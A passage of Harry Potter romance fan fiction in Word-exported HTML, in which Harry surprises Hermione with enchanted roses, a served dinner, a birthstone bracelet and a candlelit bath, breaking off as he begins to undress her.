style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m not grinning, I&#8217;m uh\ngrimacing.&#8221; He said trying to make his face look pained rather than happy.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That looks like a smile to me.&#8221;\nShe was about to say something else when Harry stood up on both feet, he\nstarted pacing.&nbsp; Now she knew something\nwas up.&nbsp; &#8220;Harry what is going on, a\nsecond ago you were writhing in agony and now you don&#8217;t even notice that you\nhave a hurt foot?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8216;Oh no I forgot.&#8217;</i> He thought to himself &#8220;Well&#8230;um.&nbsp; Promise you won&#8217;t get mad?&#8221;<br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No.&#8221; Hermione said crossing her\narms in front of her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;My foot wasn&#8217;t really hurt, in\nfact its fine and dandy, see&#8221; He wiggled it back and forth.&nbsp; &#8220;Nothing is wrong with me.&#8221;&nbsp; Harry grinned.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I think you are mistaken, there\nis certainly wrong with something up there.&#8221; She smacked him on the forehead.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry took her hand, &#8220;I&#8217;m sorry\nabout tricking you with my foot, but I had to do something and I couldn&#8217;t think\nof anything else.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione&#8217;s anger melted with her\nhand resting in his.&nbsp; &#8220;Why did you trick\nme?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">A pure smile appeared on Harry&#8217;s\nface, &#8220;I wanted to show you something, but first you have close\nyour eyes.&#8221;&nbsp; Harry saw Hermione&#8217;s brow\narch in disbelief again and he quickly said, &#8220;It&#8217;s a surprise.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione took a breath and closed\nher eyes; Harry waved his hand in front of her face testing to see if she was\ncheating. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I swear my eyes are closed Harry,\nand I can feel you waving your hand about.&#8221; Hermione said seriously.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">A very large grin graced Harry&#8217;s\nface and he started waving both hands in front of her face.&nbsp; He saw Hermione&#8217;s serious face fade away he\ncould tell she was fighting her laughter.&nbsp;\nHe couldn&#8217;t help but laugh.&nbsp; &#8220;Why\nHermione Granger, are you laughing?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No, of course\nnot.&#8221;&nbsp; She tried to look serious\nagain, her lips pursing.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;That sight made Harry nearly fall to his\nknees. He so longed to feel her lips, her mouth.&nbsp; He wanted to kiss her so bad and her pouty\nface seemed to make it worse.&nbsp;&nbsp; He sucked\nin a breath trying to keep his self-control.&nbsp;\n<i style="mso-bidi-font-style:normal">&#8216;Later.&#8217;</i> He told himself,\nlater.&nbsp; Harry then spoke the password and\nthe portrait opened.&nbsp; Harry and took both\nof her hands and pulled her inside.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Can I open them?&#8221; Hermione asked\npleasantly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No, not yet.&#8221;&nbsp; Harry pulled her in a little further.&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione felt she was being pulled\ninto their common room a little slow, she could feel the warmth from the\nfireplace on the side of her face, &#8220;Now can I open them?&#8221; She asked, not\nimpatient just curious.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;All right, now.&#8221; He waited.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Taking a breath Hermione opened\nher eyes.&nbsp; Her jaw dropped in utter\namazement; she was speechless.&nbsp; What was\nlaid before her was absolutely breath taking.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">There were literally hundreds of\nroses about the common room; they were changing colors softly.&nbsp; There were about four large stained glass\nvases of green roses, which would turn yellow; to the left of them were five\ntall stained glass vases of red roses that turned white.&nbsp; And all woven up the banister were blue roses\nthat turned silver.&nbsp; Although the amount\nof flowers was much, the scent about the room stayed pleasant and soft.&nbsp; &#8220;Oh my, did you do all of this?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry could see that she was in\nthe verge of tears, but she held them back.&nbsp;\n&#8220;I arranged for it yes.&#8221;&nbsp; He said\nalmost shyly, he looked down at the floor.&nbsp;\nWhat was the matter with him, Harry Potter wasn&#8217;t shy, or nervous or\nsilly.&nbsp; Yet everything today had been\njust that.&nbsp; Why couldn&#8217;t he act like his\nnormal self?&nbsp; <i style="mso-bidi-font-style:normal">&#8216;Because you&#8217;re in love.&#8217;</i> His\nmind said and Harry well, he had to agree. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">In the middle of the room there\nwas a table set formally for two people, the dishes were white china trimmed\nwith gold.&nbsp; Sitting in the center of a\nsalad plate was a box wrapped in pearl shimmering paper, with white iridescent\nand gold ribbons tied around it.&nbsp; Hanging\ndown over the table were once again roses they were turning from pink to\npurple.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;\nHermione stepped over to the table and as if my magic an enchanting song\nbegan to play lightly in the background.&nbsp;\nShe recognized the piece.&nbsp; &#8220;Is\nthis music from Carmen?&#8221; She asked in astonishment and saw Harry nod\nvigorously.&nbsp; &#8220;Oh I love Carmen, that&#8217;s my\nfavorite opera ever.&#8221;&nbsp; Without realizing\nit she started humming along with the tune.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Are you surprised?&#8221; He asked\ninnocently.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes I am,\nthis is absolutely amazing.&#8221; Hermione still glanced around, she couldn&#8217;t\nbelieve it.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well it&#8217;s all for you, I wanted\nthis evening to be really special.&#8221; Harry looked over at her, she was really\nhappy; he could see the tears now filling in her eyes.&nbsp; &#8220;Oh hey now no tears, I thought you liked\nit?&#8221; He lightly teased taking her hands gently.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh I do, it&#8217;s really\nthoughtful.&nbsp; It&#8217;s just no one has ever\ndone anything like this for me.&nbsp; Ever.&#8221; She wiped her eyes.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry stepped closer, &#8220;You deserve\nthis and a lot more.&nbsp; I want to give you\neverything you could ever wish for.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione tilted her head looking\nup at him, &#8220;How about just you.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Once again the urge to kiss her\nwas strong; he could feel it in the pit of his stomach.&nbsp; But he had to wait until the most perfect\nmoment. <i style="mso-bidi-font-style:normal">&#8216;Don&#8217;t get ahead of yourself\nthere Harry,&#8217;</i> He thought to himself.&nbsp;\nHarry lifted her knuckles to his lips, giving her hand a tiny kiss.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione swallowed, she felt her\nknees ready to give out with just his simple gesture.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Would you care to have dinner\nwith me fair damsel?&#8221; Harry flashed his perfect smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She blushed at the complement,\n&#8220;Well I am hungry, and for some reason I couldn&#8217;t eat a bite at dinner\nearlier.&#8221; She said remembering the horror as that baked chicken talked and\nbegged her not to eat it.&nbsp; Hermione shook\nher mind from that horrid thought as she let Harry lead her to her seat.&nbsp; Hermione thought it was really sweet when he\npulled the chair out for her.&nbsp; As soon as\nshe sat down the present levitated off the plate and dangled in front of her\nface.&nbsp; She couldn&#8217;t help but laugh,\n&#8220;Persistent little present isn&#8217;t it?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry sat down across from her,\n&#8220;Well it is a present after all, and it wants to be unwrapped.&#8221; He grinned\nwatching her.&nbsp; &#8220;That&#8217;s what a present\nlives for, of course its life expectancy doesn&#8217;t seem to last too long&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione plucked the package from\nthe air, &#8220;Well perhaps I should ease its suffering and bring its life to an\nabrupt halt.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh Hermione, I didn&#8217;t realize you\nwere so violent.&#8221; He smiled, &#8220;I like it.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She looked at the wrapping a\nminute, then without warning she tore into it like a little child on Christmas\nmorning.&nbsp; When all the wrappings were\ndiscarded, she held a gray velvet box and carefully lifted the lid.&nbsp; &#8220;Oh my...&#8221; Hermione slammed it shut, &#8220;Harry\nthis is all too much for me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Nothing is too much for you.&#8221;\nHarry honestly said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You don&#8217;t have to buy me anything,\nyou know that.&#8221; Hermione sighed looking at the closed box.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I know that, but I really wanted\nto.&nbsp; See this was made special for you\nfrom me.&nbsp; There is nothing like it\nanywhere.&#8221; Harry shifted in his seat leaning over his place settings more.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione nodded as she lifted the\nlid on the box again, inside was a bracelet, which looked like it would only\nfit her.&nbsp; Kind of like\nCinderella. She smiled while looking down at the stones, one was red a\nruby she thought, another stone was blue, probably a sapphire or topaz she\ncouldn&#8217;t be sure.&nbsp; In the center was what\ncould only be a diamond.&nbsp; She was truly\nimpressed.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;This is really important to our\nrelationship.&#8221; Harry said interrupting her thoughts. &#8220;The red stone, the ruby\nis my birthstone that represents me. &nbsp;And\nthe blue one, the sapphire is your birthstone that represents you.&nbsp; And in the center is the diamond, which\nrepresents our feelings for each other.&#8221; He smiled sweetly.&nbsp; &#8220;This represents&#8212;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Love.&#8221;\nHermione interrupted quietly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah, love&#8221; Harry said, blushing.\n&#8220;Our love.&#8221; He could feel the heat in his cheeks.&nbsp; <i style="mso-bidi-font-style:normal">&#8216;Man\nshe makes me feel so vulnerable, but in a good way.&#8217;</i>&nbsp; He thought to himself.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;This represents us you say? Well\nwhy don&#8217;t you just wear it then?&#8221; She looked up a moment.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well I would, but I don&#8217;t think\nit suits me.&nbsp; I think it would look much\nmore attractive on you.&#8221;&nbsp; Harry grinned\ntaking the box from her hand and removing the bracelet from it.&nbsp; He gently lifted her wrist and clasped the\njewelry on. &#8220;See how it sparkles, it was meant to be worn by you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione&#8217;s eyes danced over the\nsparkling jewels, it really was breathtaking, it seemed like Harry spent a long\ntime thinking of the perfect gift for her, even though she never asked for\nanything, her thoughts were interrupted as Blaise walked into their common room\nfrom what looked like the Slytherin common room door.&nbsp; Also what was more shocking was that she\nwalked in with none other than Draco Malfoy.&nbsp;\nYet it was really adorable that they were both dressed as waiters.&nbsp; They both wore the same exact thing, a pair\nof black Muggle slacks with a white shirt and burgundy tie. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Blaise smiled as she approached\nthe table, &#8220;I think you will enjoy tonight&#8217;s meal.&#8221; She said looking at\nHermione then winked.&nbsp; Blaise waved her\nhand gracefully and watched as Draco quietly filled the wine glasses with\nsparkling cider.&nbsp; &#8220;Now for the wonderful\nmeal that I have prepared...&#8221; Blaise heard Draco cough, &#8220;Excuse me that we have\nprepared.&#8221; She looked over at Draco who was smiling now.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She waved her wand over the plates\nand they filled with a green salad with creamy Italian salad dressing.&nbsp; That plate moved over to the left as the\nlarge plates filled with what looked like Fettuccini Alfredo topped with little\nshrimps, the bread plates held two pieces of garlic bread each.&nbsp; And finally for dessert a dark chocolate\npudding with raspberry sauce immediately began filling up in tall slender\nchampagne glasses.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No remember to start with the\nsalad and work your way to the dessert, if you need anything just whistle and\neither Draco or I will be here in a flash.&#8221; She bowed lightly as did Draco and\nthey headed back towards the Slytherin common room door, leaving through it\nquickly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione couldn&#8217;t help the fits of\nlaughter that fought its way out of her.&nbsp;\nJust the way they looked, it was just too funny.&nbsp; &#8220;Okay how much did you have to pay them to\ndress like that?&#8221;&nbsp; Hermione said trying\nto calm down.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I owe her for that, it&#8217;s true.&#8221;\nHarry looked guilty of something.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione knew that look. &#8220;What is\nit?&#8221; She was curious.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Next week, we&#8217;re gonna have to\ndress like that for her and Draco, that&#8217;s there specially planned evening, and\nshe has picked out.&nbsp; Well&#8230;&#8221; Harry rubbed\nthe back of his neck nervously.&nbsp; &#8220;Authentic German lederhosen.&#8221; Harry&#8217;s face blushed bright red.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione nearly fell out of her\nchair in fits of laughter; she just pictured Harry wearing green and orange\nshorts with a pair of suspenders and a feathered hat. &#8220;Oh&#8230;great&#8230;gods&#8230; Are you\nserious?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Very.&#8221; He looked down at the\nplate of food embarrassed.&nbsp; &#8220;I think\nshe&#8217;s doing it on purpose.&nbsp; To make me suffer.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;And that&#8217;s definitely a way to\nmake you suffer.&#8221; Hermione took a breath to calm herself.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Actually having me wait an entire\nmonth to kiss you is suffering enough,&#8221; Harry grinned.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;If you think that&#8217;s suffering,\nthen you ain&#8217;t seen nothing&#8217; yet.&#8221; Hermione grinned the same grin as Harry.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry feigned shock, &#8220;Oh my gods,\nyou just used bad grammar.&nbsp; Shame on you,\nyou should be punished.&nbsp;&nbsp;&nbsp; Here climb\nover my knee so I can spank you.&#8221; He saw Hermione tilt her head to the side. &#8220;Or not.&#8221; He quickly said bringing up his glass drinking\nfrom it.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione shrugged, &#8220;Hmm, maybe\nlater.&#8221; She mumbled.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry nearly spit cider out all\nover the table.&nbsp; He was choking on the\nbeverage. &#8220;Did I hear you correctly?&#8221; He cleared his throat.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Maybe you did, maybe you didn&#8217;t. Another one of the world&#8217;s greatest mysteries.&#8221; Hermione\nlooked down at the plate of food, hiding her grin.&nbsp; Hermione picked up her fork and delved into\nher food without another word.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hungry?&#8221; Harry asked, hiding his\nsmile as he thought about her talking chicken once more.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Extremely.&#8221;\nHermione answered. &#8220;I\'m ravenous.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry watched her eating as she\nput each bit of food into her mouth, her lips closing over the fork ever so\ngently, how he longed to be that fork.&nbsp;\nHe sucked in a breath, &#8220;So am I.&#8221; Harry said very quietly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Why aren&#8217;t you eating?&#8221; Hermione\nasked looking up at him, fork ready to go into her mouth.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He shrugged, &#8220;I got distracted a\nmoment.&#8221; Harry picked up a piece of garlic bread and stuck part of it in his\nmouth then taking one last look at Hermione he smiled a bit then gave all his\nattention to his food.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Dinner went smoothly, food was\neaten and a very full Hermione gave her tummy a nice pat. &#8220;I don&#8217;t think I\ncould eat another bite that, was really good.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry had to agree as he nodded\nhis head, &#8220;Here come with me, there&#8217;s something else I want you to see.&#8221; He\nstood holding his hand out for her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;There&#8217;s more?&#8221; Hermione was even\nmore surprised.<br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes there is.&#8221; Harry smiled as held\nout his hand, which Hermione took, her soft palm resting in his. Harry sighed\nquietly and led her towards the stairs. &#8220;Remember how you said earlier in the\nlibrary about you wanting a nice soothing bath.&#8221; He brought Hermione through\nher room and towards the bathroom and opened the door.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione saw a lovely setting\nabout the bathtub; candles large, small, slender and fat were placed in perfect\nalignment about the tub, the air felt really romantic and smelled of sweet\nvanilla.&nbsp; &#8220;This is so beautiful Harry.&#8221;&nbsp; She said stepping into the bathroom.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Come on.&#8221; Still holding her hand,\nHarry led her to the tub.&nbsp; He sat down on\nthe edge and started to remove his shoes.&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What?&#8221; Surprised\nby his sudden boldness.&nbsp; &#8220;What are\nyou doing?&#8221; she squeaked out.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You and I are going to have a\nlovely bath, together.&#8221; Harry wiggled his eyebrows.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;To&#8212;together?&#8221;\nHer voice sounded high pitched even to herself.&nbsp;\n&#8220;Like as in you and me, naked in the&#8212;the tub?&#8221; She gulped,\nher eyes wide.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I should think so, how else do\nyou take a bath.&#8221; Harry said sounding innocent.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;But&#8230;Harry&#8230;\nnaked&#8230;us?&#8221; Hermione was way too nervous; she couldn&#8217;t even form full\nsentences.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione, it&#8217;s perfectly natural\nto be naked.&nbsp; After all we are naked\nunderneath our clothes.&#8221; He spoke really casual, and for once today he didn&#8217;t\nsound like an idiot.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I don&#8217;t know.&#8221; She glanced at the\ntile flooring.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Look, I won&#8217;t do anything that\nyou don&#8217;t want to.&nbsp; I just want to know\nwhat it feels like to hold you, without the clothing.&nbsp; I hate clothes; you can never feel the real\nperson.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh come on, that is like the\nworst pick up line I had ever heard come out of your mouth.&#8221; Hermione still\nlooked at the floor.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It&#8217;s the truth; I promise I won&#8217;t\ndo anything.&#8221; He held his hands up innocently.&nbsp;\nHarry could still see her trying to decide.&nbsp; &#8220;Have I done anything to break your trust at\nall this month?&#8221;<br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No.&#8221; Hermione quietly said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m not about to break your trust\never, you can trust me.&#8221; Harry touched her chin with two gentle fingers lifting\nher gaze to his. &#8220;You know you can.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione sighed. &#8220;All right fine,\njust mind your manners.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Here I&#8217;ll be a gentleman and\nclose my eyes, how does that sound.&nbsp; But\nfirst&#8230;&#8221; He continued to remove his socks.&nbsp;\nHarry saw her turn around so she couldn&#8217;t look at him.&nbsp; He laughed lightly, &#8220;You know you have seen\nme in the buff before.&nbsp; There is no need\nto turn around.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I know, but I just feel better\nthis way.&nbsp; So hurry up and then let me\nknow when you get in the tub.&#8221; A thought popped into her head. &#8220;Oh how are we\ngoing to do this without you seeing me?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Why don&#8217;t you want me to see\nyou?&#8221;&nbsp; Harry said as he pulled his shirt\nover his head.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Because.&#8221;\nHermione answered.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Because why?&#8221; Harry asked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Because\num&#8230;well&#8230; we aren&#8217;t intimate.&nbsp; And\nbesides I don&#8217;t want people looking at my body, I rarely like looking at it\nmyself.&#8221; Hermione said, she felt really uncomfortable.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry smiled, his hands touching\nher shoulders as he turned her around to face him.&nbsp; &#8220;You are beautiful Hermione, here I&#8217;ll prove\nit.&#8221; His fingers went to the buttons on her shirt.&nbsp; He saw her hands come up and grip his wrists.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What are you doing?&#8221; She said in\nhalf alarm, her voice shaking with nervousness.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He looked her right in the eye,\n&#8220;Just trust me.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione took a breath and\nnodded.&nbsp; She closed her eyes as she felt\nthe top button on her shirt open, then the next one, and the next one, and the\nnext one, until all the buttons on her shirt were gone and the material only\nhalf parted.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry could see that she was\nshaking and the goose bumps on her skin where the material wasn&#8217;t fastened\ntogether.&nbsp; He moved her over to the\nmirror in front of the sink, turning her to face it.&nbsp; He brought the shirt down from her shoulders\nand set it neatly on the sink.&nbsp; &#8220;Open\nyour eyes.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione sighed, and opened her\neyes.&nbsp; She saw her reflection from the\nwaist up; she was still in her brassier.&nbsp;\n&#8220;So what it is that I&#8217;m looking at, I know it&#8217;s me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You are a beautiful woman\nHermione, look you have curves that every female would kill to have, and you\nare shaped so lovely you should be a work of art.&#8221; Harry was very honest.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione felt her face flush, &#8220;Oh\nyou&#8217;re just saying that.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" 